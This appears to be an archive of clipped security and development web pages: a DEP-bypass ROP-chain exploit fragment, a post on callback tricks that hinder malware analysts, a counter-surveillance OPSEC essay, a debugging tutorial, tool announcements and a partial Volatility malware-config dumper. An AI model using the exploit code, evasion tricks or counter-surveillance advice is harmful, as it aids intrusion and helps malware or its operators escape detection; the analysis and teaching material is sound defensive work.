    0x41414141, # compensate
    0x77e4b1fc, # ptr to 0x02
    0x77e25c1f, # POP EAX # RETN
    0xfffffffc, # -> 0x4
    0x77dd9b16, # NEG EAX # RETN
    0x77e3cb78, # POP EDI # RETN
    0x77e3cb79, # RETN
    0x77de75ed, # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN 
    ].pack("V*")
    
[/code]

Note : the IAT entry in advapi32.dll \(NtSetInformationProcess\(\) at
0x77dd1404\) is static on all versions os XP

# Death by 32 Bits

**Created:**| _4/22/2010 5:28:10 PM_  
---|---  
**Updated:**| _4/22/2010 5:28:51 PM_  
**Author:**| __  
**Tags:**| _conference-material cloud computing network-security_  
  
<img src='img/Temp2_2021' />

# IDA Pro ARM debugger plugin | Free Development software downloads at SourceForge.net
**Created:**| _8/6/2013 9:30:39 AM_  
---|---  
**Updated:**| _8/6/2013 9:30:39 AM_  
**Author:**| __  
**Tags:**| _Debugging arm Jtag_  
  

#  **I** DA Pro ARM debugger plugin****

prealpha

Brought to you by: flowswitch

## Description****

This project is a plugin for IDA Pro disassembler to support ARM code
debugging via JTAG or software emulators**.** JLink JTAG interface or any
other RDI-compliant hw/sw emulator \(such as ARMulator\) can be used with it

IDA Pro ARM debugger plugin Web Site

## Update Notifications****

Rate this Project:

## User Ratings****

5**.** 0 out of 5 stars

★★★★★

Write a Review

## User Reviews****

Be the first to post a review  of IDA Pro ARM debugger plugin**\!**

## Additional Project Details****

### Intended Audience****

Developers

### User Interface****

Plugins

### Programming Language****

C++

### Registered****

2008-01-04

###  Powered by Latest Tech Jobs****

  * ABAP / Data Migration Consultant  Integrated Business Consulting, LLC - Marlton, NJ 
  * .Net/GIS Developer  Randstad Technologies - Jacksonville, FL 
  * Metrics and Reporting Manager  NTT DATA, Inc**.** \- Bloomington, IL 
  * SharePoint Developer  Guident Technologies - Washington, DC 
  * CMM TECHNICIAN/OPERATOR  Recruitment Delivery Center - Winston Salem, NC 

See All Jobs ››  Report inappropriate content  ****

# Hinder naïve malware analysts with change of code execution path

**Created:**| _3/7/2018 8:42:56 AM_  
---|---  
**Updated:**| _3/7/2018 8:42:56 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis Obfuscation_  
  

  

cd ../../Random Posts

# Hinder naïve malware analysts with change of code execution path

1 minute read

<img src='img/35236536-20a5a44a-ffc1-11e7-8343-e07c9f088ad9.gif' width='500'
height='279' alt='singlestepping' />

These techniques are not complicated ones, but still can confuse some beginner
malware analysts and/or reverse engineers. Change of code execution path using
`SEH` \(`Structured Exception Handling`\) is common in malware samples, a
simple example is following:

<img src='img/35212384-5f807558-ff73-11e7-9814-f9c482c62ef1.PNG.png'
width='666' height='256' alt='SEH' />

If he/she single steps, he/she will lose control.

But there are other ways to get similar results using Windows API functions
with callbacks, we can use these callbacks to hinder an analyst.

`ReadFileEx`/`WriteFileEx` are asynchronous analogies for `ReadFile` and
`WriteFile`, the interesting part is that is calls `lpCompletionRoutine`
completion routine when writing/reading is completed or canceled:

<img src='img/35212457-a5f20a56-ff73-11e7-8a0c-fb1eeb19bf33.gif' width='673'
height='390' alt='WriteFileEx' />

1 | VOID CALLBACK FileIOCompletionRoutine\(  
---|---  
2 |  \_In\_ DWORD dwErrorCode,  
3 |  \_In\_ DWORD dwNumberOfBytesTransfered,  
4 |  \_Inout\_ LPOVERLAPPED lpOverlapped  
5 | \)  
6 | \{  
7 |  MessageBox\(0, L"...", L"...", 0\);  
8 | \}  
9 |   
10 | int main\(\)  
11 | \{  
12 |  const auto hFile = CreateFile\(L"test\_test", GENERIC\_ALL, 0, nullptr,  
13 |  CREATE\_ALWAYS,  
14 |  FILE\_FLAG\_DELETE\_ON\_CLOSE | FILE\_FLAG\_OVERLAPPED, nullptr\);  
15 |   
16 |  OVERLAPPED ov\{ 0 \};  
17 |  WriteFileEx\(hFile, "test", strlen\("test"\), &ov, FileIOCompletionRoutine\);  
18 |   
19 |  SleepEx\(0, TRUE\);  
20 |   
21 |  return 0;  
22 | \}  
view raw WriteFileEx.cpp hosted with ❤ by GitHub

Same there, he/she loses control.

What about `EnumDisplayMonitors`?

<img src='img/35212481-bbf9d86a-ff73-11e7-8bf8-c70315685754.gif' width='673'
height='298' alt='EnumDisplayMonitors' />

`Note`: We can stop the enumeration with return FALSE.

What about `EnumWindowStations`, `EnumDesktops`, `EnumDesktopWindows`,
`EnumThreadWindows`, `EnumWindows`, `EnumChildWindows`,
`EnumResourceTypes/Ex`, `EnumResourceNames/Ex`, `EnumResourceLanguages/Ex`,
`EnumDirTree`, `EnumThreadWindows`, `AddSecureMemoryCacheCallback`,
`SetThreadpoolTimer/Ex`, `SetThreadpoolThreadMinimum`, `SetThreadpool`,
`StackWalk64/Ex`, `EnumerateLoadedModulesEx`, `EnumerateLoadedModules64` and
so on, there are many of them, just play with `MSDN` little bit.

<img src='img/35212488-c5a45d0e-ff73-11e7-9147-0d0707ff7754.gif' width='673'
height='221' alt='EnumerateLoadedModules64' />

1 | BOOL CALLBACK EnumerateLoadedModulesProc64\(  
---|---  
2 |  \_In\_ PCTSTR ModuleName,  
3 |  \_In\_ DWORD64 ModuleBase,  
4 |  \_In\_ ULONG ModuleSize,  
5 |  \_In\_opt\_ PVOID UserContext  
6 | \)  
7 | \{  
8 |  MessageBox\(0, L"Enum", L"Func", 0\);  
9 |   
10 |  return FALSE;  
11 | \}  
12 |   
13 | int main\(\)  
14 | \{  
15 |   
16 |  EnumerateLoadedModules64\(  
17 |  GetCurrentProcess\(\),   
18 |  PENUMLOADED\_MODULES\_CALLBACK64\(EnumerateLoadedModulesProc64\),   
19 |  nullptr\);  
20 |   
21 |  return 0;  
22 | \}  
view raw EnumerateLoadedModules64.cpp hosted with ❤ by GitHub

  

# the paddy factor - Hacker OPSEC

**Created:**| _4/2/2013 7:00:23 PM_  
---|---  
**Updated:**| _4/2/2013 7:00:23 PM_  
**Author:**| __  
**Tags:**| _opsec_  
  

# The Paddy Factor

Mar 18th, 2013

The **Paddy Factor** was a disparaging term used by the British security
forces to refer to poor OPSEC practices by the Provisional IRA \(PIRA\) in the
early 1970s. Much of this terrible counter intelligence posture was due to a
limited number of easily avoidable activities that combined to compromise many
Provos:

  * **Self incrimination**
    * PIRA members would congregate in pubs and sing IRA songs.
    * They would boast about their IRA operations while drunk in pubs.
    * They would reply with a nod and a wink to friendly inquiries about their activities, making it easy for informants to identify them.
    * They would march in pro-IRA rallies.
**Problem:** The adversary was able to easily identify \(some\) PIRA members.
Once the adversary identifies members of an organisation, they will
investigate and monitor them to uncover other members.

  * **Contamination** PIRA members would associate with each other when not on operations. In intel parlance this is called “pre-operational contact”, and it is to be avoided. The reason is that any surveillance on one member will reveal the other members of the group. This is a form of _contamination_.

In short, some \(many?\) members of the Provisional IRA made their affiliation
publically known by bragging about their operations in public places. This
made them known to the adversary \(the British security forces\), who were
then able to monitor those known PIRA members. Later, at political events such
as rallies, these known PIRA members would hang out and chat with their
unknown underground brethren. This made the underground members known to the
adversary, with the obvious negative consequences.

## Link Analysis and You

Knowing only a single node in a network, e.g. one member of an organisation,
and monitoring which other nodes it contacts with gives insight into
membership of the graph. The police, for example, use a variety of monitoring
techniques to build up _phone trees_ which map out organisational
relationships.

This form of analysis, mapping associations between nodes in a network \(e.g.
membership in an organisation\) is called link analysis. It can be used
against communication end points \(e.g. mobile phones, email addresses\),
which are then associated with individuals. For example, link analysis of
mobile phone numbers and contact address books of drug dealers is used to
determine hierarchical information about their distribution networks. Link
analysis is a very powerful method of understanding relationships and being
able to link “chatter” between nodes as activity related to an organisation.

## How to unlink

One solution to making link analysis harder and less useful is to create
unique nodes for each connection. Done successfuly, this creates link graph is
only 2 nodes and 1 edge. In practise, this means that every connection between
peers should be unique to that connection, i.e. create a new jabber identity
for each associate you have. Do not share these jabber IDs between different
_friends_. The rule is simple: 1 friend, 1 jabber ID.

These node to node links should be changed regularly as well. The old nodes
must never contact the new nodes. That will contaminate them, create a link
that associates them together. New clean break each time.

## Conclusion

It is possible to defeat link analysis, but it takes discipline and is hard to
do successfully. Every single communications end point must be unique and
dedicated to only one other end point. These end points must never contaminate
each other by interacting or mentioning other end points. This will inhibit
creating a _phone tree_ , or link analysis chart of organisation membership.

**Warning:** unlinking will not prevent traffic flow analysis, fingerprinting,
or many other techniques from linking comms end points. But it is square one.

# Home - LLVM-to-JavaScript

**Created:**| _10/24/2011 11:26:07 AM_  
---|---  
**Updated:**| _10/25/2011 6:29:31 PM_  
**Author:**| __  
**Tags:**| _JavaScript llvm browser_  
  

# Home

  * Page History 

Emscripten is an **LLVM** -to-**JavaScript** compiler. It takes LLVM bitcode
\(which can be generated from C/C++, using llvm-gcc or clang, or any other
language that can be converted into LLVM\) and compiles that into JavaScript,
which can be run on the web \(or anywhere else JavaScript can run\).

Using Emscripten, you can

  * Compile C and C++ code into JavaScript and run that on the web
  * Run code in languages like Python as well, by compiling CPython from C to JavaScript and interpreting code in that on the web

# Demos

  * ammo.js/WebGL \- The Bullet physics engine compiled to JavaScript with convenient automatically-generated bindings. **\[updated: shadows\!\]**
  * Python, Ruby, Lua \- The popular dynamic languages Python, Ruby and Lua, compiled to JavaScript. Python even supports importing modules\! 
    * Older Python demo
  * Python \- CPython compiled to JavaScript.
  * Text-to-Speech \- eSpeak, a speech synthesizer, compiled to JavaScript.
  * Poppler \- PDF rendering in JavaScript, using Poppler and FreeType. Warning: Very large \(>12MB\) download.
  * Ray tracing \- A simple C++ ray tracer, rendering to a canvas element
  * OpenJPEG \- JPEG 2000 decoding in JavaScript, using OpenJPEG
  * FreeType \- TrueType font rendering in JavaScript, using FreeType
  * Lua \- The Lua interpreter

Note: Most or all of the demos are not optimized or even minified. It may take
a short while to download a few MB of source code for each one.

# Links

  * FAQ \- Goals of this project, what it can be used for, architecture overview, limitations, etc.
  * Getting Started \- How to build the project, run the tests, etc.
  * Developer blogs: kripken/azakai
  * Technical Paper \- A detailed writeup about how Emscripten works \(the memory model, Relooper algorithm, etc.\).

# Get in Touch

  * IRC: **\#emscripten** on _irc.mozilla.org_
  * Mailing list: emscripten-discuss
  * Bug reports: Please file Issues here on GitHub.

# Contributing

Anyone is welcome to join us in developing Emscripten. Feel free to contact us
on IRC or on the mailing list \(links above\), or through issues here on
GitHub.

Patches can be submitted either in issues \(as a gist is probably most
convenient\), or as pull requests, either is fine. When submitting patches,
please:

  * Add yourself to the AUTHORS file \(if you aren't already there\). By adding yourself, you agree to license your code under the project's open source licenses \(MIT/LLVM\).
  * You should run all the automatic tests and make sure they pass \(python tests/runner.py\). Patches that are simple enough \(for example, just add library functions that were not used before\) might not need this, but most will.
  * If you add any new functionality or fix an existing bug, add an automatic test to tests/runner.py.

# Overview

**Created:**| _9/6/2011 10:22:27 PM_  
---|---  
**Updated:**| _9/6/2011 10:22:27 PM_  
**Author:**| __  
**Tags:**| _programming uml_  
  

# CodeDesigner Overview

CodeDesigner is free and open-source RAD tool suitable for easy creation of
various diagrams  
describing applications' structure and logic \(class diagrams, state charts,
...\) and for generation  
of production-ready source code from them. The application is available for MS
Windows, Linux and  
OS X and can be used as a free alternative to Enterprise Architect or IAR
Visual State commercial  
tools.  
  
In contrast to other similar CASE tools the CodeDesigner is aimed to
generation of production-ready  
source code from supported diagrams. It means that not only application
skeleton can be generated from  
diagrams but complete full-featured application including its entry point
\(main function\) can be produced  
by a one click.  
  
**Supported diagrams:**

  * UML class diagrams
  * Simple state chart 
  * Hierarchical \(UML, Harel\) state charts 

**Supported programming languages:**

  * ANSI C 
  * C++ 
  * Python 

**Supported code generators:**

  * Class code generator \(C++, Python\) 
  * Simple state chart generator 
    * GOTO algorithm \(C, C++\) 
    * Loop Case algorithm \(C, C++\) 
    * Else-If algorithm \(C, C++, Python\) 
  * Hierarchical state chart generator 
    * GOTO algorithm \(C, C++\) 
    * Loop Case algorithm \(C, C++\) 
    * Else-If algorithm \(C, C++, Python\)

# Reverse Engineering Mentoring Lesson 003 - Scratchpad Wiki Labs - Free wikis
from Wikia

**Created:**| _12/11/2010 11:21:21 AM_  
---|---  
**Updated:**| _12/11/2010 11:22:12 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing Tutorials_  
  

# Reverse Engineering Mentoring Lesson 003

Up till now we have performed static analysis of code with IDA Pro: we look at
the program to infer its behavior, but the program is not executed. In
contrast, dynamic analysis implies the execution of the program to witness its
behavior. A debugger is often used for dynamic analysis: it lets you execute
the program step by step and see the effect of instructions on the registers
and memory.

We will use OllyDbg 1.10 \[\[1\]\], it's a free debugger for Windows.

Download the OllyDbg ZIP file and extract it to c:\program files\odbg \(there
is no installer, I assume you have a c:\program files directory on your
machine\).

Start OLLYDBG.EXE, you will see this dialog box the first time you execute it:

<img src='img/Temp2_6875.png' width='612' height='133'
alt='Image:Rem003-01.PNG' />

Just click yes.

We will analyze our previous rem002.c program:

[code]

    main(int argc, char **argv)
    {
       int a;
    
       a = 1;
    }
    
    
[/code]

Select File | Open in the OllyDbg menu, and open rem002.exe:
<img src='img/Temp2_6874.png' width='426' height='301'
alt='Image:Rem003-02.PNG' />

You will see this screen:

<img src='img/Temp2_6872.png' width='655' height='474'
alt='Image:Rem003-03.PNG' />

The upper-left pane shows the disassembled code. You will not recognize the
disassembled main function, because OllyDbg does not show it, in stead, it
shows you the very first instruction of the program that will be executed \(at
00401000\).

Maybe you remember from the IDA Pro disassembly that that the main function starts at 00401150? We will navigate to this location. Right-click and select the Go to | Expression menu entry:
<img src='img/Temp2_6878.png' width='382' height='399'
alt='Image:Rem003-04.PNG' />

Enter 00401150:

<img src='img/Temp2_6879.png' width='329' height='112'
alt='Image:Rem003-05.PNG' />

Now you will recognize our main function. Press F2, this will put a breakpoint
in the code. A breakpoint is an intentional stopping or pausing place in a
program, put in place for debugging purposes. Then press F9 to run the
program. The debugger will pause the execution of the program at address
00401150 where we have set our breakpoint.

The upper-right pane shows the registers. Remark this:

  * the instruction pointer \(EIP\) is equal to 00401150
  * the stack pointer \(ESP\) is equal to 0012FF90

The lower-right pane shows the stack, remark that the stack is "reversed": the
top is 0012FF90 \(equal to the stack pointer ESP\), and the memory addresses
under the top increase with a 4-byte increment.

Now we will single-step through the code of the main function, this means that
we will execute the next instruction and then pause. Watch the registry and
stack panes while pressing F7.

<img src='img/Temp2_6873.png' width='183' height='107'
alt='Image:Rem003-06.PNG' />

Values displayed in red indicate registers who's content has changed. First
you see that EIP has increased with 1 byte. This is because we have executed
the push instruction, which is 1 byte long. ESP has decreased with 4 bytes:
this is because we have pushed the content of the EBP register, which is 4
bytes wide, on the stack.

Look a the stack:

<img src='img/Temp2_6876.png' width='289' height='89'
alt='Image:Rem003-07.PNG' />

The top of the stack is now 0012FF8C and the content is 0012FFB8, this is
equal to the content of the EBP register we have pushed on the stack.

Now I will let you single-step \(F7\) through the program on your own to
discover the effects of the other instructions. Watch the registers and the
stack closely. Stop after the RETN instruction \(this is the end of the main
function\).

When you exit or load another program, OllyDbg will ask you this:

<img src='img/Temp2_6877.png' width='639' height='146'
alt='Image:Rem003-08.PNG' />

Just click yes.

Try also to debug the other examples.

\--Didier Stevens 20:41, 20 February 2007 \(UTC\)

* * *
Q: When I jump to 00401150 I don't see \*the stack pointer \(ESP\) is equal to
0012FF90 anywhere. What did I do wrong?

[code]

    EAX 00241EBC
    ECX 0000D4ED
    EDX 7C97C080 ntdll.7C97C080
    EBX 00000000
    ESP 0012FE54
    EBP 0012FF50
    ESI 7C90E88E ntdll.ZwTerminateProcess
    EDI 00000001
    EIP 7C90EB94 ntdll.KiFastSystemCallRet
    
    
[/code]

\--Pand0ra 23:04, 12 March 2007 \(UTC\)

A: You have moved the cursor to the right location \(0x401150\) but your
program did not actually run to this point. As you can see the instruction
pointer \(EIP\) in your case is somewhere entirely different. Try it again by
going to the correct location, pressing F2 and then F9.

  
Q: Ok, I just realized that the end of the program \(RETN\) is only 7 steps
from the breakpoint. So in those 7 entries that is the whole program?

# Damn Vulnerable Web Application - Download

**Created:**| _3/18/2011 5:09:00 PM_  
---|---  
**Updated:**| _3/18/2011 5:09:00 PM_  
**Author:**| __  
**Tags:**| _web-app-sec pentest Lab-Setup_  
  

**Damn Vulnerable Web App \(DVWA\)** is a PHP/MySQL web application that is
damn vulnerable. Its main goals are to be an aid for security professionals to
test their skills and tools in a legal environment, help web developers better
understand the processes of securing web applications and aid
teachers/students to teach/learn web application security in a class room
environment.

### Download

DVWA is available either as a package that will run on your own web server or
as a Live CD

**DVWA v1.0.7 \(latest\) - \(1.3MB\)Download  
DVWA v1.0.7 LiveCD - \(480MB\) Download**

# New Microsoft Threat Modeling Tool 2014 Now Available - Microsoft Security
Blog - Site Home - TechNet Blogs

**Created:**| _9/6/2014 3:40:27 PM_  
---|---  
**Updated:**| _9/6/2014 3:40:27 PM_  
**Author:**| __  
**Tags:**| _Threat-modeling strategy_  
  

# New Microsoft Threat Modeling Tool 2014 Now Available

Tim Rains - Microsoft

15 Apr 2014 11:09 AM

Today we’re announcing the release of the **Microsoft Threat Modeling Tool
2014**. This is the latest version of the free Security Development Lifecycle
Threat Modeling Tool that was previously released back in 2011.

More and more of the customers I have been talking to have been leveraging
threat modeling as a systematic way to find design-level security and privacy
weaknesses in systems they are building and operating. Threat modeling is also
used to help identify mitigations that can reduce the overall risk to a system
and the data it processes. Once customers try threat modeling, they typically
find it to be a useful addition to their approach to risk management.

We have been threat modeling at Microsoft for more than 10 years. It is a key
piece of the design phase of the Microsoft Security Development Lifecycle
\(SDL\). In 2011 we released the SDL Threat Modeling Tool, free of charge, to
make it easier for customers and partners to threat model as part of their
software development processes. The tool has been very popular and we have
received a lot of positive customer feedback in addition to suggestions for
improvement.

We have implemented many of the suggested improvements in the new version of
the tool, now called the Microsoft Threat Modeling Tool 2014. Highlights of
the new features in Microsoft Threat Modeling Tool 2014 include:

  * **New Drawing Surface** Previous versions of the Threat Modeling Tool required Microsoft Visio to build the data flow diagrams, this new release has its own drawing surface and Visio is no longer needed.
  * **STRIDE per Interaction** Big improvement for this release is change in approach of how we generate threats. Microsoft Threat Modeling Tool 2014 uses STRIDE per interaction for threat generation, were past versions of the tool used _STRIDE per element_.
  * **Migration for v3 Models** Updating your older threat models is easier than ever. You can migrate threat models built with Threat Modeling Tool v3.1.8 to the format in Microsoft Threat Modeling Tool 2014

  * **Update Threat Definitions** We over further flexibility to our users to customize the tool according to their specific domain. Users can now extend the included threat definitions with ones of their own. 

Check out this video to see the new Microsoft Threat Modeling Tool 2014 in
action.

For more details on the new features and functionality of the Microsoft Threat
Modeling Tool 2014 please see the SDL blog.

You can download the tool, free of charge, here.

Tim Rains  
Director  
Trustworthy Computing

# Ghetto Forensics: Dumping Malware Configuration Data from Memory with
Volatility

**Created:**| _10/30/2013 9:59:35 AM_  
---|---  
**Updated:**| _10/30/2013 9:59:35 AM_  
**Author:**| __  
**Tags:**| __  
  

# **D** umping Malware Configuration Data from Memory with Volatility****

  
  
When I first start delving in memory forensics, years ago, we relied upon
controlled operating system crashes \(to create memory crash dumps\) or the
old FireWire exploit with a special laptop**.** Later, software-based tools
like regular dd, and win32dd, made the job much easier \(and more entertaining
as we watched the feuds between mdd and win32dd\)**.**  
  
In the early days, our analysis was basically performed with a hex editor**.**
By collecting volatile data from an infected system, we'd attempt to map
memory locations manually to known processes, an extremely frustrating and
error-prone procedure**.** Even with the advent of graphical tools such as
HBGary Responder Pro, which comes with a hefty price tag, I've found most of
my time spent viewing raw memory dumps in WinHex**.**  
  
The industry has slowly changed as tools like Volatility have gained maturity
and become more feature-rich**.** Volatility is a free and open-source memory
analysis tool that takes the hard work out of mapping and correlating raw data
to actual processes**.** At first I shunned Volatility for it's sheer amount
of command line memorization, where each query required memorizing a
specialized command line**.** Over the years, I've come to appreciate this
aspect and the flexibility it provides to an examiner**.**  
  
It's with Volatility that I focus the content for this blog post, to dump
malware configurations from memory**.**  
  
For those unfamiliar with the concept, it's rare to find static malware**.**
That is, malware that has a plain-text URL in its .rdata section mixed in with
other strings**.** Modern malware tends to be more dynamic, allowing for
configurations to be downloaded upon infection, or be strategically injected
into the executable by its author**.** Crimeware malware \(Carberp, Zeus\)
tend to favor the former, connecting to a hardcoded IP address or domain to
download a detailed configuration profile \(often in XML\) that is used to
determine how the malware is to operate**.** What domains does it beacon to,
on which ports, and with what campaign IDs - these are the items we determine
from malware configurations**.**  
  
Other malware rely upon a known block of configuration data within the
executable, sometimes found within .rdata or simply in the overlay \(the data
after the end of the actual executable\)**.** Sometimes this data is in plain
text, often it's encoded or encrypted**.** A notable example of this is in
Mandiant's APT1 report on TARSIP-MOON, where a block of encrypted data is
stored in the overlay**.** The point of this implementation is that an author
can compile their malware, and then add in the appropriate configuration data
after the fact**.**  
  
As a method to improving the timeliness of malware analysis, I've been
advocating for greater research and implementation of configuration
dumpers**.** By identifying where data is stored within the file, and by
knowing its encryption routine, one could simply write a script to extract the
data, decrypt it, and print it out**.** Without even running the malware we
know its intended C2 communications and have immediate signatures that we can
then implement into our network defenses**.**  
  
While this data may appear as a simple structure in plaintext in a sample,
often it's encoded or encrypted via a myriad of techniques**.** Often this may
be a form of encryption that we, or our team, deemed as too difficult to
decrypt in a reasonable time**.** This is pretty common, advanced encryption
or compression can often take weeks to completely unravel and is often left
for when there's downtime in operations**.**  
  
What do we do, then**?** Easy, go for the memory.  
  
We know that the malware has a decryption routine that intakes this data and
produces decrypted output**.** By simply running the malware and analyzing its
memory footprint, we will often find the decrypted results in plaintext, as it
has already been decrypted and in use by the malware**.**  
  
Why break the encryption when we can let the malware just decrypt it for
us**?**  
  
For example, the awesome people at Malware**.** lu released a static
configuration dumper for a known Java-based RAT**.** This dumper, available
here on their GitHub repo , extracts the encryption key and configuration data
from the malware's Java ZIP and decrypts it**.** It uses Triple DES \(TDEA\),
but once that routine became public knowledge, the author quickly switched to
a new routine**.** The author has then continued switching encryption routines
regularly to avoid easy decryption**.** Based on earlier analysis, we know
that the data is decrypted as:  
  
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  
  
00000000 70 6F 72 74 3D 33 31 33 33 37 53 50 4C 49 54 01 port=31337SPLIT**.**  
00000016 6F 73 3D 77 69 6E 20 6D 61 63 53 50 4C 49 54 01 os=win macSPLIT**.**  
00000032 6D 70 6F 72 74 3D 2D 31 53 50 4C 49 54 03 03 03 mport=-1SPLIT..**.**  
00000048 70 65 72 6D 73 3D 2D 31 53 50 4C 49 54 03 03 03 perms=-1SPLIT..**.**  
00000064 65 72 72 6F 72 3D 74 72 75 65 53 50 4C 49 54 01 error=trueSPLIT**.**  
00000080 72 65 63 6F 6E 73 65 63 3D 31 30 53 50 4C 49 54 reconsec=10SPLIT  
00000096 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................  
00000112 74 69 3D 66 61 6C 73 65 53 50 4C 49 54 03 03 03 ti=falseSPLIT..**.**  
00000128 69 70 3D 77 77 77 2E 6D 61 6C 77 61 72 65 2E 63 ip=www.malware**.** c  
00000144 6F 6D 53 50 4C 49 54 09 09 09 09 09 09 09 09 09 omSPLIT........**.**  
00000160 70 61 73 73 3D 70 61 73 73 77 6F 72 64 53 50 4C pass=passwordSPL  
00000176 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT..............  
00000192 69 64 3D 43 41 4D 50 41 49 47 4E 53 50 4C 49 54 id=CAMPAIGNSPLIT  
00000208 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................  
00000224 6D 75 74 65 78 3D 66 61 6C 73 65 53 50 4C 49 54 mutex=falseSPLIT  
00000240 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................  
00000256 74 6F 6D 73 3D 2D 31 53 50 4C 49 54 04 04 04 04 toms=-1SPLIT....  
00000272 70 65 72 3D 66 61 6C 73 65 53 50 4C 49 54 02 02 per=falseSPLIT..  
00000288 6E 61 6D 65 3D 53 50 4C 49 54 06 06 06 06 06 06 name=SPLIT......  
00000304 74 69 6D 65 6F 75 74 3D 66 61 6C 73 65 53 50 4C timeout=falseSPL  
00000320 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT..............  
00000336 64 65 62 75 67 6D 73 67 3D 74 72 75 65 53 50 4C debugmsg=trueSPL  
00000352 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT..............  
  
Or, even if we couldn't decrypt this, we know that it's beaconing to a very
unique domain name and port which can be searched upon**.** Either way, we now
have a sample where we can't easily get to this decrypted information**.** So,
let's solve that.  
  
By running the malware within a VM, we should have a logical file for the
memory space**.** In VMWare, this is a .VMEM file \(or .VMSS for snapshot
memory\)**.** In VirtualBox, it's a .SAV file. After running our malware, we
suspend the guest operating system and then focus our attention on the memory
file**.**  
  
The best way to start is to simply grep the file \(from the command line or a
hex editor\) for the unique C2 domains or artifacts**.** This should get us
into the general vicinity of the configuration and show us the structure of
it:  
  
E:\VMs\WinXP\_Malware>grep "www.malware.com" \*  
Binary file WinXP\_Malware.vmem matches  
  
With this known, we open the VMEM file and see a configuration that matches
that of what we've previously seen**.** This tells us that the encryption
routine changed, but not that of the configuration, which is common**.** This
is where we bring out Volatility**.**

####  Searching Memory with Volatility****

We know that the configuration data begins with the text of
"port=<number>SPLIT", where "SPLIT" is used to delimit each field**.** This
can then be used to create a YARA rule of:

rule javarat\_conf \{  
strings: $a = /port=\[0-9\]\{1,5\}SPLIT/  
condition: $a  
\}  
  
This YARA rule uses the regular expression structure \(defined with forward
slashes around the text\) to search for "port=" followed by a number that is 1
- 5 characters long**.** This rule will be used to get us to the beginning of
the configuration data**.** If there is no good way to get to the beginning,
but only later in the data, that's fine**.** Just note that offset variance
between where the data should start and where the YARA rule puts us**.**  
  
Let's test this rule with Volatility first, to ensure that it works:  
  
E:\Development\volatility>vol**.** py -f
E:\VMs\WinXP\_Malware\WinXP\_Malware.vmem yarascan -Y
"/port=\[0-9\]\{1,5\}SPLIT/"  
Volatile Systems Volatility Framework 2**.** 3\_beta  
Rule: r1  
Owner: Process VMwareUser.exe Pid 1668  
0x017b239b 70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 2e
port=31337SPLIT**.**  
0x017b23ab 0a 30 30 30 30 30 30 31 36 20 20 20 36 46 20 37 **.**
00000016..**.** 6F.7  
0x017b23bb 33 20 33 44 20 37 37 20 36 39 20 36 45 20 32 30 3**.** 3D.77**.**
69.6E.20  
0x017b23cb 20 36 44 20 20 36 31 20 36 33 20 35 33 20 35 30 **.**
6D..61.63.53**.** 50  
Rule: r1  
Owner: Process javaw.exe Pid 572  
0x2ab9a7f4 70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 01
port=31337SPLIT**.**  
0x2ab9a804 6f 73 3d 77 69 6e 20 6d 61 63 53 50 4c 49 54 01
os=win.macSPLIT**.**  
0x2ab9a814 6d 70 6f 72 74 3d 2d 31 53 50 4c 49 54 03 03 03
mport=-1SPLIT..**.**  
0x2ab9a824 70 65 72 6d 73 3d 2d 31 53 50 4c 49 54 03 03 03
perms=-1SPLIT..**.**  
  
One interesting side effect to working within a VM is that some data may
appear under the space of VMWareUser.exe**.** The data is showing up somewhere
outside of the context of our configuration**.** We could try to change our
rule, but the simpler solution within the plugin is to just rule out hits from
VMWareUser.exe and only allow hits from executables that contain "java"**.**  
  
Now that we have a rule, how do we automate this**?** By writing a quick and
dirty plugin for Volatility**.**

####  Creating a Plugin****

A quick plugin that I'm demonstrating is composed of two primary components: a
YARA rule, and a configuration dumper**.** The configuration dumper scans
memory for the YARA rule, reads memory, and displays the parsed results**.**
An entire post could be written on just this file format, so instead I'll post
a very generic plugin and highlight what should be modified**.** I wrote this
based on the two existing malware dumpers already released with Volatility:
Zeus and Poison Ivy**.**  
  
Jamie Levy and Michael Ligh, both core developers on Volatility, provided some
critical input on ways to improve and clean up the code**.**

[code]

    # JavaRAT detection and analysis for Volatility - v 1**.** 0
    # This version is limited to JavaRAT's clients 3**.** 0 and 3.1, and maybe others 
    # Author: Brian Baskin <brian@thebaskins.com>
    #
    # This program is free software; you can redistribute it and/or modify
    # it under the terms of the GNU General Public License as published by
    # the Free Software Foundation; either version 2 of the License, or (at
    # your option) any later version**.**
    #
    # This program is distributed in the hope that it will be useful, but
    # WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE**.** See the GNU
    # General Public License for more details**.** 
    #
    # You should have received a copy of the GNU General Public License
    # along with this program; if not, write to the Free Software
    # Foundation, Inc**.** , 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
    
    import volatility.plugins.taskmods as taskmods
    import volatility.win32.tasks as tasks
    import volatility.utils as utils
    import volatility.debug as debug
    import volatility.plugins.malware.malfind as malfind
    import volatility.conf as conf
    import string
    
    try:
        import yara
        has_yara = True
    except ImportError:
        has_yara = False
    
    
    signatures = {
        'javarat_conf' : 'rule javarat_conf {strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a}'
    }
    
    config = conf.ConfObject()
    config.add_option('CONFSIZE', short_option = 'C', default = 256,
                               help = 'Config data size',
                               action = 'store', type = 'int')
    config.add_option('YARAOFFSET', short_option = 'Y', default = 0,
                               help = 'YARA start offset',
                               action = 'store', type = 'int')
    
    class JavaRATScan(taskmods.PSList):
        """ Extract JavaRAT Configuration from Java processes """
    
        def get_vad_base(self, task, address):
            for vad in task.VadRoot.traverse():
                if address >= vad.Start and address < vad.End:
                    return vad.Start
            return None
    
        def calculate(self):
            """ Required: Runs YARA search to find hits """ 
            if not has_yara:
                debug.error('Yara must be installed for this plugin')
    
            addr_space = utils.load_as(self**.** _config)
            rules = yara.compile(sources = signatures)
            for task in self.filter_tasks(tasks.pslist(addr_space)):
